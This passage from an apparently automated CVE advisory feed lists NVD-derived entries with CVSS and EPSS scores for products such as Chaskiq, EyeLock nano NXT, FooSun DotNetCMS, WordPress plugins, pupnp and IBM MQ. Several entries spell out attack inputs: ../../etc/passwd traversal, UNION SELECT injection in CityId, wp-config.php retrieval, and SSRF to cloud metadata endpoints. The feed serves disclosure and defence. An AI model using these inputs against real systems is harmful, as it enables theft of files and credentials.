Chaskiq through 2.0.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to fetch arbitrary URLs via the createUrlUpload GraphQL mutation. Attackers can submit internal URLs, including cloud instance metadata endpoints, through POST /graphql and retrieve the full response via the returned ActiveStorage blob URL.
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111663).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111663&date=2026-10-25).
Sources:
NVD CVE-2026-111663: https://nvd.nist.gov/vuln/detail/CVE-2026-111663
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111663&date=2026-10-25
Chaskiq through 2.0.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to fetch arbitrary URLs via the createUrlUpload GraphQL mutation. Attackers can submit internal URLs, including cloud instance metadata endpoints, through POST /graphql and retrieve the full response via the returned ActiveStorage blob URL.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EyeLock nano NXT 3.05.1193, 3.04.1108, 3.03.944, and 3.01.646 contain a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the 'path'...
https://kevwire.com/record/CVE-2016-20104
EyeLock nano NXT 3.05.1193, 3.04.1108, 3.03.944, and 3.01.646 contain a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the 'path'... (Oct 20, 2026).
EyeLock nano NXT 3.05.1193, 3.04.1108, 3.03.944, and 3.01.646 contain a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the 'path' parameter. Attackers can send GET requests to /scripts/logdownload.php with traversal sequences like ../../etc/passwd, which readfile() returns unvalidated, disclosing local system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2016-20104).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-20104&date=2026-10-25).
Sources:
NVD CVE-2016-20104: https://nvd.nist.gov/vuln/detail/CVE-2016-20104
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-20104&date=2026-10-25
EyeLock nano NXT 3.05.1193, 3.04.1108, 3.03.944, and 3.01.646 contain a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the 'path' parameter. Attackers can send GET requests to /scripts/logdownload.php with traversal sequences like ../../etc/passwd, which readfile() returns unvalidated, disclosing local system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FooSun DotNetCMS 1.0 and 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate MSSQL queries through the CityId parameter.
https://kevwire.com/record/CVE-2015-20128
FooSun DotNetCMS 1.0 and 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate MSSQL queries through the CityId parameter. (Oct 20, 2026).
FooSun DotNetCMS 1.0 and 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate MSSQL queries through the CityId parameter. Attackers can send GET requests to /user/City_ajax.aspx with UNION SELECT payloads in CityId, concatenated unsanitized into the sys_City query, to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2015-20128).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-20128&date=2026-10-25).
Sources:
NVD CVE-2015-20128: https://nvd.nist.gov/vuln/detail/CVE-2015-20128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-20128&date=2026-10-25
FooSun DotNetCMS 1.0 and 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate MSSQL queries through the CityId parameter. Attackers can send GET requests to /user/City_ajax.aspx with UNION SELECT payloads in CityId, concatenated unsanitized into the sys_City query, to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NativeChurch theme for WordPress before 1.6.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the file parameter...
https://kevwire.com/record/CVE-2014-125133
NativeChurch theme for WordPress before 1.6.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the file parameter... (Oct 20, 2026).
NativeChurch theme for WordPress before 1.6.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the file parameter of download.php. Attackers can send GET requests with directory traversal sequences in the file parameter to retrieve sensitive files like wp-config.php. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2014-125133).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-125133&date=2026-10-25).
Sources:
NVD CVE-2014-125133: https://nvd.nist.gov/vuln/detail/CVE-2014-125133
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-125133&date=2026-10-25
NativeChurch theme for WordPress before 1.6.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the file parameter of download.php. Attackers can send GET requests with directory traversal sequences in the file parameter to retrieve sensitive files like wp-config.php. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pupnp is an SDK for development of UPnP device and control point applications.
https://kevwire.com/record/CVE-2026-57486
pupnp is an SDK for development of UPnP device and control point applications. (Oct 16, 2026).
pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, ixmlNode_compare in ixml/src/node.c passes the nullable nodeValue, namespaceURI, prefix, and localName fields directly to strcmp. Non-namespaced attributes created by ixmlDocument_createAttribute legitimately leave those fields NULL. When ixmlElement_removeAttributeNode compares two distinct attribute objects with the same nodeName through find_condition_node, the pointer-identity shortcut does not apply and the comparison dereferences NULL, causing a process crash when application handling of attacker-controlled XML reaches this path. This issue is fixed in 2.0.2.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57486).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57486&date=2026-10-25).
Sources:
NVD CVE-2026-57486: https://nvd.nist.gov/vuln/detail/CVE-2026-57486
Vendor advisory (via NVD references): https://github.com/pupnp/pupnp/security/advisories/GHSA-q54q-vx78-v9rq
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57486&date=2026-10-25
pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, ixmlNode_compare in ixml/src/node.c passes the nullable nodeValue, namespaceURI, prefix, and localName fields directly to strcmp. Non-namespaced attributes created by ixmlDocument_createAttribute legitimately leave those fields NULL. When ixmlElement_removeAttributeNode compares two distinct attribute objects with the same nodeName through find_condition_node, the pointer-identity shortcut does not apply and the comparison dereferences NULL, causing a process crash when application handling of attacker-controlled XML reaches this path. This issue is fixed in 2.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pupnp is an SDK for development of UPnP device and control point applications.
https://kevwire.com/record/CVE-2026-57487
pupnp is an SDK for development of UPnP device and control point applications. (Oct 16, 2026).
pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, Transfer-Encoding: chunked causes the HTTP parser in upnp/src/genlib/net/http/httpparser.c to leave parser->content_length at zero while parser_parse_chunky_entity and parser_parse_chunky_body accumulate decoded bytes in parser->msg.entity. The g_maxContentLength checks in http_RecvMessage in upnp/src/genlib/net/http/httpreadwrite.c therefore reject oversized numeric Content-Length bodies but do not enforce the same limit on decoded chunked bodies. A remote peer that can reach a SOAP, GENA, miniserver, or control-point HTTP response path can make the process buffer an entity larger than the configured maximum, causing resource exhaustion and denial of service. This issue is fixed in 2.0.2.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57487).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57487&date=2026-10-25).
Sources:
NVD CVE-2026-57487: https://nvd.nist.gov/vuln/detail/CVE-2026-57487
Vendor advisory (via NVD references): https://github.com/pupnp/pupnp/security/advisories/GHSA-gcj7-j9f7-q84c
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57487&date=2026-10-25
pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, Transfer-Encoding: chunked causes the HTTP parser in upnp/src/genlib/net/http/httpparser.c to leave parser->content_length at zero while parser_parse_chunky_entity and parser_parse_chunky_body accumulate decoded bytes in parser->msg.entity. The g_maxContentLength checks in http_RecvMessage in upnp/src/genlib/net/http/httpreadwrite.c therefore reject oversized numeric Content-Length bodies but do not enforce the same limit on decoded chunked bodies. A remote peer that can reach a SOAP, GENA, miniserver, or control-point HTTP response path can make the process buffer an entity larger than the configured maximum, causing resource exhaustion and denial of service. This issue is fixed in 2.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Amauri.IO WPMobile.App wpappninja allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPMobile.App:...
https://kevwire.com/record/CVE-2026-112359
Missing Authorization vulnerability in Amauri.IO WPMobile.App wpappninja allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPMobile.App:... (Oct 23, 2026).
Missing Authorization vulnerability in Amauri.IO WPMobile.App wpappninja allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPMobile.App: from n/a through 11.86.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112359).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112359&date=2026-10-25).
Sources:
NVD CVE-2026-112359: https://nvd.nist.gov/vuln/detail/CVE-2026-112359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112359&date=2026-10-25
Missing Authorization vulnerability in Amauri.IO WPMobile.App wpappninja allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPMobile.App: from n/a through 11.86.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Reflected XSS.This issue affects...
https://kevwire.com/record/CVE-2026-112835
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Reflected XSS.This issue affects... (Oct 23, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Reflected XSS.This issue affects VikRentCar: from n/a through 1.4.8.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112835).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112835&date=2026-10-25).
Sources:
NVD CVE-2026-112835: https://nvd.nist.gov/vuln/detail/CVE-2026-112835
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112835&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Reflected XSS.This issue affects VikRentCar: from n/a through 1.4.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia GamiPress gamipress allows Blind SQL Injection.This issue...
https://kevwire.com/record/CVE-2026-112837
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia GamiPress gamipress allows Blind SQL Injection.This issue... (Oct 23, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia GamiPress gamipress allows Blind SQL Injection.This issue affects GamiPress: from n/a through 8.0.7.
CVSS 8.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112837).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112837&date=2026-10-25).
Sources:
NVD CVE-2026-112837: https://nvd.nist.gov/vuln/detail/CVE-2026-112837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112837&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia GamiPress gamipress allows Blind SQL Injection.This issue affects GamiPress: from n/a through 8.0.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Stored XSS.This issue affects...
https://kevwire.com/record/CVE-2026-112838
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Stored XSS.This issue affects... (Oct 23, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Stored XSS.This issue affects VikRentCar: from n/a through 1.4.8.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112838).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112838&date=2026-10-25).
Sources:
NVD CVE-2026-112838: https://nvd.nist.gov/vuln/detail/CVE-2026-112838
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112838&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Stored XSS.This issue affects VikRentCar: from n/a through 1.4.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AivahThemes Hostme v2 hostmev2 allows DOM-Based XSS.This issue affects Hostme...
https://kevwire.com/record/CVE-2026-112849
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AivahThemes Hostme v2 hostmev2 allows DOM-Based XSS.This issue affects Hostme... (Oct 23, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AivahThemes Hostme v2 hostmev2 allows DOM-Based XSS.This issue affects Hostme v2: from n/a through 7.0.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112849).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112849&date=2026-10-25).
Sources:
NVD CVE-2026-112849: https://nvd.nist.gov/vuln/detail/CVE-2026-112849
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112849&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AivahThemes Hostme v2 hostmev2 allows DOM-Based XSS.This issue affects Hostme v2: from n/a through 7.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1.
https://kevwire.com/record/CVE-2026-112853
Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112853).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112853&date=2026-10-25).
Sources:
NVD CVE-2026-112853: https://nvd.nist.gov/vuln/detail/CVE-2026-112853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112853&date=2026-10-25
Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8.
https://kevwire.com/record/CVE-2026-112857
Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8. (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112857).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112857&date=2026-10-25).
Sources:
NVD CVE-2026-112857: https://nvd.nist.gov/vuln/detail/CVE-2026-112857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112857&date=2026-10-25
Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL...
https://kevwire.com/record/CVE-2026-112860
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL... (Oct 23, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL Injection.This issue affects Participants Database: from n/a through 2.7.8.5.
CVSS 9.3 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112860).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112860&date=2026-10-25).
Sources:
NVD CVE-2026-112860: https://nvd.nist.gov/vuln/detail/CVE-2026-112860
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112860&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL Injection.This issue affects Participants Database: from n/a through 2.7.8.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database:...
https://kevwire.com/record/CVE-2026-112862
Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database:... (Oct 23, 2026).
Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database: from n/a through 2.7.8.5.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112862).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112862&date=2026-10-25).
Sources:
NVD CVE-2026-112862: https://nvd.nist.gov/vuln/detail/CVE-2026-112862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112862&date=2026-10-25
Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database: from n/a through 2.7.8.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM i 7.3, 7.4, 7.5, and 7.6 is vulnerable to an authenticated attacker elevating their privilege.
https://kevwire.com/record/CVE-2026-102917
IBM i 7.3, 7.4, 7.5, and 7.6 is vulnerable to an authenticated attacker elevating their privilege. (Oct 16, 2026).
IBM i 7.3, 7.4, 7.5, and 7.6 is vulnerable to an authenticated attacker elevating their privilege. A bad actor could exploit this vulnerability to perform operations with QSECOFR/Root authority on the system.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102917).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102917&date=2026-10-25).
Sources:
NVD CVE-2026-102917: https://nvd.nist.gov/vuln/detail/CVE-2026-102917
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292422
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102917&date=2026-10-25
IBM i 7.3, 7.4, 7.5, and 7.6 is vulnerable to an authenticated attacker elevating their privilege. A bad actor could exploit this vulnerability to perform operations with QSECOFR/Root authority on the system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT operations with...
https://kevwire.com/record/CVE-2026-10572
IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT operations with... (Oct 19, 2026).
IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT operations with malformed message options.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10572).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10572&date=2026-10-25).
Sources:
NVD CVE-2026-10572: https://nvd.nist.gov/vuln/detail/CVE-2026-10572
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10572&date=2026-10-25
IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT operations with malformed message options.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT or MQPUT1...
https://kevwire.com/record/CVE-2026-10574
IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT or MQPUT1... (Oct 19, 2026).
IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT or MQPUT1 operations with malformed message handle properties.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10574).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10574&date=2026-10-25).
Sources:
NVD CVE-2026-10574: https://nvd.nist.gov/vuln/detail/CVE-2026-10574
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10574&date=2026-10-25
IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow when processing MQPUT or MQPUT1 operations with malformed message handle properties.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM MQ could allow an authenticated attacker to cause a denial of service or corrupt memory due to improper validation of buffer sizes in MQOPEN operations.
https://kevwire.com/record/CVE-2026-10743
IBM MQ could allow an authenticated attacker to cause a denial of service or corrupt memory due to improper validation of buffer sizes in MQOPEN operations. (Oct 19, 2026).
IBM MQ could allow an authenticated attacker to cause a denial of service or corrupt memory due to improper validation of buffer sizes in MQOPEN operations.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10743).
